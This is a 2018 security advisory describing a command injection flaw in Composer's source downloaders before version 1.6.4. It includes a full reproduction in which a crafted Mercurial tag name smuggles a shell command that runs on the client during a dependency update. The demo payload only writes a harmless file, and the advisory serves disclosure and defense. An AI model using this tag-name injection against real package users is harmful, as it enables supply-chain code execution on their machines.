Author: Michael Hanselmann. Updated: April 16, 2018
Composer is a dependency manager
for PHP. Before version 1.6.4 its Mercurial, Fossil, Subversion and Git
source downloaders did not properly escape arguments when extracting
commit logs
(HgDownloader::getCommitLogs,
FossilDownloader::getCommitLogs,
SvnDownloader::getCommitLogs and
GitDownloader::getCommitLogs).
References from repositories are passed unescaped to a shell. At least for
Mercurial it's possible to engineer a package repository such that a tag name
can be interpreted as a valid shell command and is executed on the client.
The affected functions are invoked when a dependency is updated from
source in verbose mode.
The upstream developers were quick to respond to the initial report and pushed a fix within less than 3 days, discovering one additional case the author didn't notice at first. An announced release, Composer 1.6.4, was made on April 13, 2018, less than 4 days after the initial report.
Reproduction environment
- Debian 9 (Stretch) or a comparable Linux distribution
- Composer version 1.6.3 2018-01-31 16:28:17
Reproduction
Set up an empty package in a repository:
$ hg init /tmp/poclib
$ cat > /tmp/poclib/.hg/hgrc <<'EOF'
[ui]
username = Jane Doe <jdoe@example.com>
EOF
$ cat > /tmp/poclib/composer.json <<'EOF'
{
"name": "poclib",
"description": "poclib",
"license": "BSD-3-Clause",
"version": "0.1",
"minimum-stability": "dev"
}
EOF
$ hg -R /tmp/poclib/ commit -m Changes -A
$ hg -R /tmp/poclib/ tag v0.1
# Use a separate shell
$ hg -R /tmp/poclib/ serve --port 8700
Set up a Composer package repository:
$ mkdir /tmp/repo
$ cat > /tmp/repo/packages.json <<'EOF'
{
"packages": {
"poclib": {
"0.1": {
"name": "poclib",
"version": "0.1",
"source": {
"type": "hg",
"url": "http://localhost:8700",
"reference": "v0.1"
}
}
}
}
}
EOF
# Use a separate shell
$ cd /tmp/repo && python3 -m http.server
Set up a project using the PoC library. Disabling secure HTTP is required because the local test servers aren't using TLS.
$ mkdir -p /tmp/project
$ cat > /tmp/project/composer.json <<'EOF'
{
"name": "project",
"description": "project",
"minimum-stability": "dev",
"config": {
"secure-http": false
},
"require": {
"poclib": ">=0.1"
},
"repositories": [
{
"type": "composer",
"url": "http://localhost:8000/packages.json"
}
]
}
EOF
$ composer --working-dir=/tmp/project/ update -v --prefer-source
So far so good. Now assume that upstream goes rogue.
$ tagname="v0.3;echo\${IFS}PoC\${IFS}$(date +%s)>>/tmp/poc.txt;echo\${IFS}" && \
hg -R /tmp/poclib/ tag "$tagname" && \
cat > /tmp/repo/packages.json <<EOF
{
"packages": {
"poclib": {
"0.2": {
"name": "poclib",
"version": "0.2",
"source": {
"type": "hg",
"url": "http://localhost:8700",
"reference": "${tagname}"
}
}
}
}
}
EOF
Update project dependency after ensuring that the PoC file doesn't exist:
$ rm -vf /tmp/poc.txt && \ composer --working-dir=/tmp/project/ update -v --prefer-source poclib
Once finished the PoC code will have been executed:
$ cat /tmp/poc.txt PoC 1523313974